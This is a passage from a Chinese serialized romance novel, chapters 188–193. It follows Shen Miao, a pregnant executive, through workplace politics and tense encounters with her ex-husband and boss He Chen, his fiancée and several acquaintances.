李白恬跑得飞快。
沈渺低头玩儿手机,余光突然一暗,她身边坐了个人。
抬起头一看,她脸色一拉。
“沈渺,好久不见!”
何之洲单手搓着下巴,手里拿着一束漫天星,冲她笑得跟狗尾巴花似的。
“我特意从京北赶过来看看你,你能不生我的气了吗?”
沈渺纠正他的措辞,“你是知道贺忱来了,特意跑到这千里之外来看戏的吧。”
188.我这次过来就是保护你的
“我发誓,我现在真的没有看戏的意思,纯担心你。”
何之洲竖着三根手指朝天,前所未有的认真。
“你肚子里的孩子是一条生命,你们血脉相连,他身上流着你一半的血,骨肉分离对你来说是会遗憾一辈子的事情,我以前真不该那么混账地把这件事情当儿戏,我这次过来就是保护你的,你有需要随时提。”
他又抬起另一只手,拍了拍胸脯。
那张妖孽般的脸正经起来,多了几分可信度。
沈渺淡淡说,“谢谢。”
她不是不信何之洲,只是不需要何之洲帮忙。
“你怎么还这么瘦?”
何之洲对她并未热络起来的态度,感到一丝失落。
但他还在尽力找话题。
“还好。”沈渺看了眼窗外,提醒他,“我朋友马上回来,我们吃了饭还要回去上班。”
何之洲把花放下,站起来说,“那我不打扰你们,我电话你还有吧?有事打给我——”
他比画着打电话的姿势离开。
与买了奶茶回来的李白恬走了个擦肩。
李白恬停下来看了他一眼,才回座位上。
“我怎么觉得刚刚那个人,有点眼熟吗?”
沈渺拿了双筷子递给她,“快吃吧,等会儿餐都凉了。”
李白恬接过筷子道谢,一边喝奶茶一边大快朵颐。
半小时后,两人吃饱买单。
沈渺请,她拿过账单,正准备交钱。
服务员提醒,“小姐,刚刚一位先生已经付过了。”
“是姓何吗?”
“对,何先生让我们转告,您多注意身体,饮食规律。”
服务员一脸暧昧八卦,“是您的追求者,还是男朋友?”
沈渺把手机关了,“是我的债主子。”
“谁啊?”李白恬收拾东西站起来,往外走时追着问沈渺。
“一个朋友。”
李白恬打趣,“我怎么没这样的朋友?吃饭悄悄买单,还这么关心你身体。”
沈渺看她一眼,“那你得找找自己的问题了,怎么就没人给你买单关心你呢。”
“我……”李白恬受到一万点暴击,“你别欺负人,我也是有追求者的!”
沈渺轻笑,“好好好,你有。”
李白恬挽着她往公司走,走到门口遇上两个小秘书。
小秘书喊了声‘沈总’,逃似的跑了。
“对了,我刚买奶茶听两个人造谣,说你得罪贺总了,大势已去,位置摇摇欲坠,肯定是周敬才散播的!”
李白恬觉得,这两个小秘书跑那么快,一定是听说了谣言。
她没跟着沈渺去开会,所以不知道今天早上的会议发生了什么。
好事不出门坏事传千里,这才一个上午,公司上下都传开了。
说话间,两人进了公司,等电梯。
“沈渺姐,你怎么不说话?”李白恬没得到她的回应,轻晃了下她手臂。
沈渺不知说些什么。
身后突然一阵骚动。
两人回头,便看到贺忱阔步进来,他身后跟着韩文松以及几个高层。
男人风光霁月,威风凛凛。
他们站在另外一部电梯旁,贺忱冷冽的面容倒影在电梯壁上。
李白恬看向那边,又转过头来看看。
沈渺看向贺忱一眼后,卷翘的睫毛颤了颤,喊了声‘贺总’。
贺忱面视前方,未曾给她一个眼神,喉结滚动发出一个单音节,算是回应。
然后沈渺就收回目光,两人便再也没了交集。
韩文松等人虽没说话,可目光讽刺多变,全都打量了一眼沈渺。
电梯门开了,韩文松讨好笑着,“贺总,请。”
贺忱阔步进去。
一行人跟进去,电梯门合上上行。
沈渺面前的电梯也来了,她与李白恬一同进去。
外面几个职员都装看不见,各自等其他电梯,生怕跟沈渺扯上关系。
短短数秒,李白恬什么都明白了。
“你怎么得罪贺总了?”
沈渺看她一眼,“你怎么就确定,是我得罪了他?”
而不是贺忱的原因。
李白恬咂咂嘴,“那是贺总,对的是对的,错的也是对的,这不是你教我的吗?”
李白恬刚来公司时,是非黑白分得太清,得罪不少人。
这话是沈渺教的,对上司和有能力的同事,错的也是对的,学会睁一只眼闭一只眼。
现在,却被反过来教育她了。
“是,我的错。”
“那你去跟贺总道个歉。”
李白恬吸吸鼻子说,“我千里迢迢来投奔你,你要是倒台了,我在这儿孤立无援,灰溜溜回京北,大家都会笑话我的。”
沈渺,“你怎么确定,贺总会接受我的道歉?”
“你真诚一点,该认的错误就认。”
李白恬想了想又说,“实在不行给他磕一个,我陪一个,他还能生气?”
她让沈渺想到求前任原谅,带着闺蜜上门磕头的段子。
到沈渺这儿就成了带同事上门磕头,求老板别生气了。
“我就是真倒台了,也会给你安排好后路,回去工作吧。”
电梯门开了,沈渺率先走出去。
李白恬飞快倒腾小腿跟上,“听你这语气,还真有可能被开除啊?”
沈渺没回答。
因为她也不清楚。
应了商音那句话,车到山前必有路,开除了还有商音兜着。
一下午,她在办公室没出去。
韩文松跑了三趟贺忱办公室,次次都在贺忱办公室相谈甚欢,扯开嗓门聊天。
晚上下班,沈渺没再像以往那样,问贺忱需不需要送他回家。
她直接收拾东西走了。
商音的电话踩着她下班地点打进来,等不及她开车回家再问。
“怎么样?贺忱又逼问你了没有?”
“没有。”沈渺的手抵着方向盘,细长白嫩的手指圈拢着,“挺和平的。”
没再因为那件事情恶化关系,对她来说就算和平。
商音松一口气,很快却又说,“不对劲啊,他不可能就这么算了吧?”
沈渺也觉得不对,但只要她不松口,贺忱就不会知道。
挂了电话,她以最快的速度回家。
先回自己住处洗漱,换了套舒适的衣服,去商音那儿。
门对门,她过个马路就到了。
走到马路正中央时,突然听到一阵口哨声。
循声望去。
隔壁邻居家停着一辆车,工人正往里搬家具。
二楼的阳台上,何之洲穿着荧光粉的防晒服,戴着墨镜,笑容灿烂地看着她。
189.贺总,我现在过去
“巧啊,邻居!”
何之洲双手撑着栏杆,朝她招招手,“又见面了。”
沈渺眉头一拧,成为他的邻居,实在高兴不起来。
“我刚搬家,明天请你吃饭,你下班过来就行,一切都交给我。”
何之洲盛情邀约。
“不用了,我们没那么熟。”
沈渺继续朝商音家走。
何之洲嗓门加大音量,“怎么不熟啊?都是京北人,千里之外老乡见老乡两眼泪汪汪!”
‘砰——’
沈渺进了商音家,关门。
商音躺在爬爬垫上陪商商玩电子琴,往外面看了一眼。
“外面怎么那么吵?”
沈渺在商商身边坐下,“新搬来的邻居。”
商音‘哦’了一声,打量沈渺。
见沈渺面色没异样,她仍旧不放心的问,“贺忱真没怎么着你?”
“只是工作态度有了变化。”
沈渺避重就轻。
“让他变,他受不了把你开除,拿一笔违约金咱回家安胎,我这几天复播效果特别好。”
商音朝她挑挑眉,“以后我养你。”
沈渺嗤笑,“那以后我主内你主外。”
“没问题,咱俩把日子过好了,比什么都强!”
商音‘哈哈’笑着,尽量将沈渺身体里紧绷的那根弦,松懈下来。
贺忱的冷处理,虽然让沈渺心里不舒服。
可沈渺确实松一口气。
这口气还未完全松下来,她的手机突然响了。
屏幕上熟悉的号码跳动,她看了一眼眉心就拧起来了。
她拿过手机起身,到一旁去接电话。
“贺总……好,我现在过去。”
简短两句对话,沈渺挂了电话,看向商音,“我得回一趟公司。”
商音抱着商商站起来,“饭都熟了,你吃一口再走?”
“不了,你们先吃。”
贺忱只说有事找她,不给她问的机会,就挂了电话。
四十分钟后,百荣分部顶层。
沈渺径直去了贺忱的办公室。
办公室门虚掩着,透出一条缝隙,里面传出浅浅的交谈声。
她敲了下门。
随着男人一声‘进’,她推门而入。
贺忱坐在单人沙发上,一旁的待客沙发上坐着的,赫然是高夫人。
茶几上摆放着几个空了的茶杯,可见高夫人已经来了一会儿。
“我不知道你下班了,又让你特意跑回来一趟。”
高夫人朝她笑笑,“早知道我就改天再来。”
“没关系,离着公司不远。”
沈渺说着违心的话,她走过去,“不知高太太找我什么事?”
高夫人拿过一个精致的定制礼品盒。
“昨天你们走得急,伴手礼都没拿,我特意给你送过来。”
一份伴手礼,还专程跑一趟送,确实够特意的。
“谢谢高太太了,您派个人送过来就行了。”
说完,沈渺看了贺忱一眼。
这礼物,也没必要非让她过来一趟,他直接收了不就行?
“这里面是一些化妆水和香水,女孩子用的,贺总说给你。”
高夫人解答了她的疑惑,“刚跟贺总聊了两句,他说你很聪明。”
贺忱朝高夫人微颔首,“你们聊,我还有些工作要处理。”
他起身朝办公桌前走去。
高夫人适时宜起身,“你们忙,我就不打扰了。”
“辛苦高夫人特意跑这一趟,您要是不介意一起吃个晚餐。”
沈渺拿起伴手礼,礼貌寒暄。
高夫人欣然答应,“可以啊,那贺总一起吗?”
两人齐齐看向贺忱。
贺忱刚坐下,他说有工作要处理,按理说不去。
沈渺这么认为。
高太太问一句,是出于礼貌。
孰料贺忱看了看腕表,摘掉鼻梁上的眼镜又起来了。
“那就一起吧,劳烦高太太还特意送过来。”
他拿过椅子背上的外套,朝她们走来。
就挺突然的。
回到公司看到高夫人突然,高夫人跟她一起吃饭突然,贺忱也要来,更突然。
沈渺默不作声朝外走,进入电梯后就开始订餐厅。
还算顺利,刚好有一家五星级酒店还剩一间包厢。
出了公司,贺忱朝沈渺伸出手。
沈渺立马将车钥匙交到他手上。
贺忱开车,沈渺跟高夫人坐后排。
“你们年轻人三观一致共同话题多,相处起来一定很融洽。”
高夫人看到刚刚贺忱一句话没说,沈渺就知道他要车钥匙,觉得他们很默契。
沈渺浅笑,“长时间接触下来,都会对彼此了解几分。”
“你们没对彼此……”高夫人的话戛然而止,她突然想起来,“瞧我这记性,贺总快结婚了,是吧?”
贺忱应了一声。
高夫人往回找补,“贺总年轻有为,不知多少女人喜欢,结婚早是理所应当的事情。”
“准贺少夫人一定很优秀吧?”
高夫人说完,又‘咦’了一声,“那你这次来深城,她没来吗?昨天的宴会,怎么不见你带过来?”
沈渺看向车窗外,保持沉默。
“她在京北,婚事将近,走不开。”贺忱透过后视镜看了一眼。
沈渺扭头的动作,露出一小截白皙的脖颈。
高夫人笑道,“操办婚事很繁琐,你缺席,将来可要好好弥补人家。”
“确实。”贺忱薄唇溢出两个字。
“那你呢?”高夫人侧目,看向沈渺,“有中意的人了吗?”
沈渺不是个热情的性子,甚至可以说她很冷漠。
长这么大,除了跟商音玩笑般谈过结婚生子的事情。
跟其他人,一律没到聊这些那一步。
高夫人太过热络,连贺忱都给几分薄面回应。
她只能说,“工作忙,暂时不考虑这些。”
“你,不想有个家吗?”高夫人慈善的目光中,透着怜爱,“没有父母,早点结婚生子,就有家了。”
沈渺想。
所以当初明知跟贺忱身为地位悬殊,嫁给他会有弊端,她还是嫁了。
除了感情外,她太想有个家了。
所以如今,她也留下了这个孩子。
以后她在这个世界上,就不再是孤零零一个人了。
“罢了。”高夫人突然抓住她的手,轻拍了两下,“你看你现在过得这么好,也一定不想你的父母,不用想,自己过得好就行了。”
干燥的手带着温热感,覆在沈渺的手背上。
沈渺下意识将手缩回来,抬头却是对上高夫人微红的眼眶。
190.不是一个正常前夫该做的事情
“我就是觉得,你很优秀,很争气……”
高夫人松开她,虽是笑着解释,可眼底不由自主流露着一股淡淡的忧伤。
沈渺嘴角扬了扬,笑得很不自在,“谢谢高太太夸奖。”
“希望你以后,都平安顺意。”
高夫人又说。
沈渺点头,“谢谢,您也是。”
汽车在餐厅门口停下,保安过来开车门。
几人下车,沈渺本刻意与贺忱保持着距离。
但此刻,她跟在高夫人身边更不自在,悄无声息地往贺忱那边靠了靠。
贺忱阔步进入餐厅的步伐停顿片刻,逐渐缓下来。
包厢内,小方桌铺着红色的桌布,一盏琉璃灯悬在上空,折放出七彩的光芒。
高太太和贺忱各自坐在两端。
沈渺后进来一步,她迟疑片刻——
“麻烦帮我在这里,添一把椅子。”
“好。”服务员在方桌另外一端添了把椅子。
沈渺哪个也没挨着,在合适的位置上坐下。
这家餐厅高夫人常来,她点了几道地道的深城菜。
等餐时,包厢里的气氛有些尴尬。
他们与高夫人年龄悬殊,而且并不算熟。
能聊的,在路上已经聊完了。
而有些更隐私的事情,关系还没到那个份儿上。
“所以,沈渺是调职到深城来,以后不回京北了?”
高夫人总能找到话题,而且还顺其自然地问出来。
沈渺摇头,“短期内在深城,以后还说不准。”
“深城挺好的。”高夫人扭头看向贺忱,“她能力不错,肯定能管好分公司,你就放心把这儿交给她。”
灯昏光暗,贺忱面容不辨,他没回答。
沈渺能理解,就算不是现在她跟贺忱之间有点隔阂。
高夫人也逾越了。
她的手插不到百荣的内部安排上。
“我……”
高夫人说完,察觉到不对,开口找补。
话未说完,她的手机突然响起。
“抱歉,我接个电话。”
她拿着手机起身,准备往外走却被来送餐的服务员挡住。
她只能转身去了角落。
“我,我在外面……我就是出来跟朋友吃个饭,没有……”
高夫人往这边看了一眼,又从角落去了阳台上。
阳台门一关,听不见她说了什么,但看得出她脸色不好。
服务员上完餐,高夫人也打完电话回来了。
“抱歉,我家里突然有事,得回去。”
沈渺起身,“菜都上齐了,您吃了再走吧。”
“不了,你们吃吧。”
说话间高夫人已经拿起包。
沈渺跟着拿包,“我送您回去。”
“不用,这些都是我按照你们北方人口味点的,别浪费了,你们吃,司机在外面等我。”
高夫人拦了她的手一把,强行把她的包放回去了。
沈渺只送她到包厢门口,就被她推回来,关了门。
环境优雅的包厢,西装革履的男人坐在方桌前。
白色的衬衫被映出彩光,衬的古铜色皮肤更有性张力。
沈渺犹豫了下,走回来。
“贺总,我家……”
“快吃,吃完送我回去。”
贺忱打断她那句‘我家也有事,先走了’。
他拿起筷子,慢条斯理地吃东西。
沈渺拿东西的动作一顿,只能坐下来用餐。
安静的环境,碗碟碰撞声细微却清脆。
半小时,两人一言不发,吃饱后默契起身走人。
出去后才知道,高夫人买过单了。
“改天你请高夫人吃饭,把这份人情还回来。”
贺忱吩咐道。
沈渺跟在他右后方,在尽头拐弯时点头附和他的话。
“是,贺总。”
她话音刚落地,腰上突然一紧,人被捞到贺忱的怀里。
拐角处有个包厢,服务员端着餐盘走得飞快。
贺忱生怕沈渺撞到,便将沈渺拉到怀里来了。
谁知,那服务员推开手边的门进去了,根本没朝这边来。
沈渺被吓一跳,手护着肚子,脸贴在他胸口。
静默数秒,她推开贺忱直起身体,诧异地看着他。
“刚刚有人。”
贺忱淡然解释。
沈渺回头,长廊里连个鬼影子都没有。
她拢了拢眉,反问的话还在喉咙里时,冷不丁看到尽头一闪而过的背影。
是吴玥珊,她那高高隆起的肚子太有辨识性了。
手机拍照时的闪光灯也很亮,亮得刺痛沈渺的眼睛。
“走吧。”
贺忱丢下两个字,驱动长腿离开,留给沈渺一个肩宽腰窄的背影。
工具人。
沈渺的脑海里划过这三个字。
她在贺忱心里的定位,一下变得精准又清晰起来。
贺忱对她没有一点应付性演戏的利用,是完全把她当成不必有知情权的工具。
她穿过长廊一簇簇的暗灯,看着走在前面身姿笔挺的男人。
被窗外的夜风吹得心里烦躁又酸涩。
餐厅门口,贺忱早她一会儿出来,站在车旁等。
沈渺从包里拿出车钥匙,“贺总,您自己开车回去吧,商音在附近,等下她过来接我。”
贺忱的眸光里倒映着一片霓虹,听到他这话明显沉了不少。
他眉骨一拢,“我还没找你算账,你先跟我摆上脸了?”
“不敢。”沈渺垂下眼帘,“我有自知之明,哪里敢跟贺总叫板?”
她语气里带着的一丝阴阳怪气,贺忱听得出来。
她将车钥匙放在引擎盖上离开。
贺忱笔直的身体微弯,靠在了车身上。
他抬手拿出烟,背风点火,动作一气呵成。
烟雾刚从薄唇里溢出,就被风吹散了。
可他压着的火气却怎么也散不去,额头的青筋清晰可见。
片刻,他给林昭打电话。
“查查高家怎么回事。”
林昭正在埋头加班,“高家?他们之前跟韩董的人接触过,有什么动作吗?”
贺忱,“查高夫人。”
“是。”林昭不多问,一定是高夫人做了不对劲的事情。
贺忱应了一声,复又问,“之前让你查沈渺肚子里的孩子是谁的,查得怎么样?”
“啊?”
这事许久未提起,林昭以为贺忱已经忘记了。
“最,最近太忙了,没顾上。”
贺忱提气,说实话他心里也拧巴。
执着于前妻怀了谁的孩子,不是一个正常前夫该做的事情。
可他就是放不下。
“贺总,您……真的想知道吗?”
那端林昭的声音传来。
191.沈渺那边……自求多福吧!
“你知道?”
贺忱敏锐地捕捉到,林昭的语气就是他知道内幕的意思。
林昭猛摇头。
摇完了才想起来,贺忱看不见。
“我,我是好奇,您为什么想知道。”
贺忱脑海里浮现沈渺依偎在他怀里时的样子。
她恬静温婉,长发披散,身体柔软,指尖轻轻摆弄他扣子。
脑海里回忆起的一帧一幅,都让他的心里不断泛起涟漪。
“好奇害死猫。”
他吐出五个字,直接挂了电话。
可林昭知道,他这意思是,继续查。
他拖延过一次,这次拖不过去了。
而沈渺那边……
林昭只能在心里说句‘对不起’,自求多福吧!
——
沈渺没吃多少东西。
商音给她送了宵夜,还温着,她进了家门就开始吃。
手机开着商音直播间,时不时打个评论带带节奏。
顶端突然蹦出微信词条,是高夫人。
她们刚刚互加了微信。
【抱歉,今天突然离席,改天有时间再请你吃饭,我还知道一家味道不错的餐厅。】
沈渺:【高太太客气了。】
她的回答是很官方的。
高夫人:【今天的饭菜还合口味吗?】
沈渺:【贺总很喜欢,谢谢高太太招待。】
如此官方的回答,换了其他贵太太,早就不回复,甚至生气她的致谢没有一点诚意。
可高夫人没有,有一句没一句地聊。
从餐前小菜到饭后甜品,挨个说了一遍。
沈渺的附和言简意赅,‘是,很好,您说得对,味道不错’。
终于跟高夫人结束聊天时,她的宵夜早已凉透了。
沈渺盯着聊天界面,舒缓的眉头渐渐拢起,只觉得怪。
一晚上她睡得不安稳,做了梦,梦到她小时候,又梦到生了孩子以后。
场景混乱,她醒来时已经忘得差不多。
她心里莫名升起不安。
沈渺强压下心底的不安,吃了早餐后如常去公司上班。
等电梯时,她听到两个公司的职员聊天。
“那就是咱们的老板娘吗?”
“对啊,是程家的千金,听说是青梅竹马,跟贺总一起长大的!”
“也就占了个青梅竹马吧?我觉得长得不怎么好看!”
“嘘,这话可不能乱说!之前传出过绯闻,一个合作商说她长得还不如沈总,闹出不小动静呢。”
“你还真别说,那个合作商说得真对,之前我是没见过沈总跟老板娘,现在全见到了,沈总长得就是比老板娘好看!”
上班多年,沈渺对职场的八卦早已见怪不怪。
像这种舆论最好的办法就是冷处理。
她打算像听不见的,就这么走了。
只是听到‘全见到’几个字,她眉头不由得拧起。
“程小姐来了?”
她一出声,吓得几个小职员立马聚拢到一起,不知所措地看着她。
“是,今天早上她跟贺总一起来的。”
其中一个小职员说。
电梯门开了,沈渺边进入电梯边说,“注意言辞,这里是公司。”
几个职员纷纷点头,没敢跟她一起上电梯。
沈渺独自一人,乘电梯上顶层。
顶层静悄悄的,秘书办数十人鸦雀无声,拔长脖子往贺忱办公室里探。
听到电梯开关声,他们迅速低下头。
沈渺走出电梯,立马察觉到气氛不对。
她目光扫视一圈,职员们脑袋低得像鸵鸟,生怕看到不该看的。
李白恬从秘书办出来,拉着她往她办公室走。
沈渺被拉进办公室,看着她把门关上,鬼鬼祟祟的。
“沈渺姐,程小姐来了,他们又在吵架。”
李白恬朝隔壁撇了撇嘴,怕一墙之隔不够隔音,声音放得很小。
“程小姐又哭了,每日必吵,每吵必哭,不过这次程小姐没往外跑。”
在京北工作那么久,李白恬无数次见证贺忱跟程唯怡吵架。
她都摸出规律了。
“别八卦了,做好自己的工作。”
沈渺叮嘱道。
李白恬撇了下嘴,“我可没八卦,是他们吵太大声了,我耳朵不聋就听见了。”
说着,她又把声音放低一个度。
“不过也不算吵,好像是程小姐来认错,贺总自始至终没说话,她哭哭啼啼地说她从来没想过,他们会变成这样。”
李白恬没听清全部,单从程唯怡的话判断出,程唯怡是来认错求原谅的。
贺忱依旧位居高位,甚至这一次他都没有附和程唯怡两句。
“沈渺姐,你说贺总跟程小姐的婚事,该不会取消吧?”
李白恬觉得,有可能。
贺忱有钱有颜又帅气,什么样的女人没有?
程唯怡这么作,他受不了不会忍着。
“我说了不算,你猜的也只是猜测,回去工作。”
沈渺朝李白恬挥挥手,“不许散播谣言。”
李白恬是总部调过来的,很多人都会跟她打听贺忱跟程唯怡的事情。
沈渺目光警示着她。
她吐吐舌头,‘哦’了一声,转身离开。
沈渺坐下打开电脑,右下角弹出一封邮件。
贺忱将他的电子行程单发了过来,让沈渺合理安排他的工作。
除去这边的高层会议外,京北总部以及国外线上视频会议,许多工作流程等着安排。
沈渺安排这种事情手到擒来。
无形中,她又干上了秘书的活。
除了安排贺忱工作,还要替贺忱对接高层传达命令。
“韩经理,十点钟来一趟贺总的办公室。”
沈渺替贺忱传达命令,打电话给韩文松。
“怎么?”韩文松奚落着,“都成了分部总经理了,还做着秘书的活儿,沈总该不会被降职了吧?”
“等我降职的时候,一定通知韩经理。”
沈渺风轻云淡地怼回去,“希望到时候韩经理有资格顶替我的位置。”
韩文松都不够格当副总经理,沈渺这话是在敲打他。
他现在再的得势,也是韩董的人,贺忱不可能重用他。
“早晚有让你俯首称臣的那一天,等着。”
韩文松挂了电话。
十点钟时,沈渺一块儿被喊到贺忱的办公室。
韩文松就政圈项目,做了初步计划,向贺忱汇报。
沈渺过来,是帮贺忱记录汇报重点的。
韩文松是国内顶尖财政大学毕业,脑子里有货。
计划书是他一个人独立完成的,除了还没有细化外,整体很不错。
“韩经理坐在这个位置上,屈才了,好好干,拿下政圈项目,升职加薪。”
贺忱很少夸人。
“升职加薪?”韩文松打量了沈渺一眼,“贺总要提拔我到什么职位?”
贺忱手指轻轻揉捏腕骨,光滑的表盘倒映着他高深莫测的面容。
192.沈秘书,你没什么想说的?
“你想做什么职位。”
贺忱反问。
韩文松,“当然是越高越好,现在我做这个项目,是分部的第一个大项目,关乎着分部能不能成为深城的领头羊。”
他的意思是,这个项目很重要。
贺忱要提拔,也要提拔个好的职位。
例如,分部总经理。
韩文松的玄外音太重,贺忱跟沈渺一下就听出来了。
“到时候,分部的位置,你随便挑。”
贺忱爽快道。
沈渺的眼皮轻颤,笔记本微弱的灯光照在她脸上。
她瞳仁黑白分明,深处一片暗色。
“贺总,你没开玩笑吧?”
韩文松有自知之明,诚如沈渺的话。
他是韩董的人,贺忱不会重用提拔他。
这次把最重要的项目交给他,就已经是意外中的意外了。
贺忱,“前提是,你对我足够重心。”
他指尖一下一下轻敲着桌面,“你虽然跟韩董有亲戚关系,可人都是以利益为重,你跟着他只是为他儿子做嫁衣,没有出头日,不如跟着我,他给你的我都能给你,而且是名利双收。”
韩董的儿子不争气。
韩文松是名校毕业,能力出众。
他的丰功伟绩,都会被韩董拨到韩城光名下,奠基韩城光的地位。
虽说韩文松跟着贺忱,职位不会比韩董给的高多少。
可最起码荣誉是自己的。
贺忱赌他想要荣誉。
贺忱看东西看通透了,韩文松十分警惕。
“那,如果我说我要沈总的位置呢?”
他试探贺忱。
“给。”贺忱毫不犹豫,“只要事成,分部你说了算。”
韩文松心底一喜,可喜悦并兼着疑心。
“贺总,那我们等项目结束之后,再说。”
他没有立刻松口。
贺忱颔首。
沟通结束,韩文松离开。
沈渺将整理好计划书重点整理好,发到贺忱邮箱。
“贺总,东西整理好发您邮箱了,您过目,没别的事情我先出去了。”
她收拾笔记本,起身准备离开。
贺忱鹰隼般的眸略过她,“沈秘书,你没什么想说的?”
“没有。”沈渺摇头。
虽然贺忱抛出的条件足够诱人。
可是他的收买太突然,万一韩文松跟韩董的关系,比他预期的好。
那岂不是打草惊蛇?
而且很容易被敌人反算计。
可是聪明如贺忱。
沈渺摸不透他到底要干什么,但知道他一定把所有可能性都想到了。
“你就不怕,你的位置真的不保?”
贺忱倏地眯着长眸。
沈渺抱着笔记本,面色如常,“我听从的贺总一切安排。”
她怕有什么用?
贺忱灼灼盯着她。
她目光淡淡的回看。
四目相对时——
办公室门被人从外面推开。
“贺忱哥。”
程唯怡穿着浅紫色的连衣裙,长发别了一个蝴蝶发夹。
她踩着高跟鞋,兴高采烈地进来。
看到沈渺在,她的笑容一瞬浅了不少。
许是两人吵完,和好如初了,她进来时的笑容灿烂到,沈渺觉得有些刺眼。
“不打扰贺总跟程小姐,我先去忙。”
沈渺转身离开。
程唯怡与她擦肩走过,一个离开一个奔向贺忱。
办公室门合上。
贺忱的视线被隔开,他收回目光。
“贺忱哥,我亲手做的午餐。”
程唯怡拎着一个保温桶,她放在办公桌,一个个地打开。
贺忱面无表情,“什么时候回京北。”
程唯怡的动作一顿,很快恢复。
“你什么时候回去?”
“等你做完检查,我就回。”
贺忱身体后倾,靠在椅背上,他姿态慵懒,整个人都透着懒散。
程唯怡咬着嘴唇,哭过而发红的眼眶,这会儿又染上红润。
“贺忱哥,我就是想来看看你,不是逃避不做检查,只是检查的事情我得瞒着我妈,一直没找到合适的机会。”
贺忱沉默着。
“我们一起吃顿饭吧。”程唯怡又说,“听说秦川也在深城,一起?”
贺忱眼皮轻掀,朝她看过去,“你听谁说秦川在深城。”
秦川的手机被他没收,跟外界没有联系。
若不是有意调查,没有人会知道,秦川来深城了。
“我,我朋友在这里遇上秦川了,他不是去儿科医院做了医生?”
程唯怡面色有些虚虚的,她找着话题,“他不是妇产科医生吗,怎么又跑去做儿科医生吗?”
贺忱嗓音低沉,“不清楚。”
“那,咱们一起吃饭的时候,问问他。”
程唯怡小心翼翼地说。
良久,贺忱点头,“好,我来安排,你回去吧。”
“那好,我去等你消息。”程唯怡将午餐往他面前推了推。
见贺忱纹丝不动,她面色难掩失落,一步三回头地离开。
沈渺放下电脑,准备去吃饭。
等电梯时,就看到程唯怡从贺忱办公室出来。
看到沈渺的那一刻,程唯怡失落又忐忑的表情瞬间消失,转而换上一副淡淡讽刺的面孔。
她走到沈渺身边。
“没想到,在深城还能见面。”
沈渺往旁边站了站,“程小姐。”
程唯怡,“放心,我不为难你,你也挺可怜的,被贺忱哥拿来当气我的棋子,自己都不知道。”
正赶着中午下班的点,时不时有人过来等电梯。
但是沈渺跟程唯怡之间的气氛太诡异。
没人敢靠近,甚至有人走楼梯下去了。
“但你要把贺忱哥对你的好当了真,那就更可怜了,别心存奢望,觉得贺忱哥对你特殊,千里迢迢跑到深城来给你撑腰,都是假的。”
程唯怡说话更肆无忌惮。
她越说靠沈渺越近,那双眼睛直勾勾地盯着沈渺。
沈渺眉头微蹙,又往旁边挪了一步。
再次被拉开的距离,让程唯怡的不满翻倍。
“我是好心劝你,你怎么这个态度的?”
沈渺,“谢谢程小姐的好心相劝,但有劝我的时间,程小姐该好好反思一下,为什么总是惹贺总生气,你要不惹他生气也就不会发生这么多事情。”
她迎上程唯怡不满的目光,继续说道,“能把贺总气得跑到千里迢迢之外,把工作都放在第二位,就为了气你,不得不说程小姐气人挺有一套的,你说我可怜,我反而觉得程小姐这么毫无分寸的恃宠而骄,更可怜。”
193.早点给贺忱生几个孩子
沈渺实事求是。
程唯怡跟贺忱这么闹,却总是牵连到她,她是真心的希望程唯怡能收敛一些。
电梯门开了,沈渺进入电梯内。
等程唯怡转正成为贺少夫人,她也就不再配成为程唯怡的眼中钉。
他们的矛盾少了,她就‘解放了’。
最好程唯怡早点给贺忱生几个孩子,她都替他们高兴。
电梯下行,几秒的失重感后,恢复正常。
午饭时,商音给她发消息,说起程唯怡在电梯口那几句话。
“你能不能怼她两句?”
商音双手握拳,恨不得替沈渺怼回去。
沈渺吸吸鼻子,淡定道,“我怼了,她会更记恨我,更介意我的存在,他们下次再吵架,还会牵连到我,我可不想一辈子都是贺忱拿来气她的工具。”
前任,永远是扎在现任心里的一根刺。
商音咂咂嘴,“这局怎么破?要不是程唯怡这么爱吃你的醋,贺忱也不至于关注你这么多。”
“程唯怡到深城来,不见得是坏事,床头吵架床尾和,没准他们很快就和好,贺忱就走了。”
沈渺是这么想的。
商音冷笑两声,“你想的挺美,祝你梦想成真。”
沈渺觉得事情朝她预想的方向发展的。
当天下午,贺忱就让她订了深城有名的西餐厅。
晚上下班时,沈渺的车从地下车库开出来。
她一眼就看到了贺忱的迈巴赫停在路口。
程唯怡上了副驾,隔着窗户依稀可见她朝贺忱怀里扎了扎。
很快,程唯怡又转过身来系安全带。
车窗半落,她与沈渺的视线装上,微挑的眉梢是压不住的得意。
沈渺目光漠然,一脚油门踩下去,快速越过迈巴赫。
半小时以后,西餐厅。
方桌前,三人分别单坐一面。
秦川坐在两人之间,显得有些局促。
“贺忱哥,这里的西餐好吃吗?”程唯怡点餐,试探性地问贺忱,“你吃过哪种口味的?”
贺忱,“不知道,没来过。”
也就是说,贺忱没有跟沈渺来吃过。
程唯怡心底窃喜。
虽然贺忱用沈渺来气她,是她故意编造给沈渺的谎言。
可是现在看来,也不是完全没有这个意思。
贺忱似乎对她有了隔阂,故意冷着她,所以才跑到这里来的。
是想借用沈渺,逼着她妥协吧?
程唯怡轻咬了下嘴唇,看了秦川一眼。
秦川也在看菜单,自始至终连个眼神都没给她。
几分钟后,三人点完餐,服务员将菜单收走。
“秦川,你来深城干什么?”
程唯怡率先发问,“在京北干得好好的,跑这儿来……是跟着贺忱哥跑吗?”
贺忱身子后倾,胳膊搭着椅子背,修长的手指自然垂着。
头顶的灯笼罩下来,将男人的五官拢住阴影,令人捉摸不透。
秦川看他一眼,虽然他没说,可秦川知道他带自己过来的事情,要隐瞒。
“工作需要。”
“乱说,深城的儿科根本不缺医生。”
程唯怡暗示性道,“你的名声不怎么好,一直追着贺忱哥跑什么?万一让有心的媒体发现,报道一些不实的言论,会给贺忱哥带来负面影响的。”
秦川下颚线条倏地一绷。
“我,就在深城待两天,陪陪贺忱哥,等我走的时候,你跟我一起回去。”
程唯怡语气近乎肯定。
她直接替秦川做主了。
“到时候再看。”秦川并未直接答应。
程唯怡看他一眼,欲言又止,半晌她站起来,“我去一下洗手间。”
贺忱始终沉默,目光落在表盘上,随着转动的指针移动。
包厢里安静下来。
秦川安静了几秒问道,“贺忱,我有一个问题,想问你。”
“说。”贺忱薄唇轻启。
“你说,程唯怡喜不喜欢你。”
秦川的话,令贺忱的眉心紧紧拧在一起,他看向秦川
秦川不急不缓道,“人家都说,女人是感性动物,她能因为喜欢失去理智,也会因为喜欢做出很疯狂的事情,所以她向你提出结婚,是带着感情的吧,没有女人会嫁给自己不喜欢的男人。”
“天底下贪图钱财的女人,多的是。”
贺忱言简意赅。
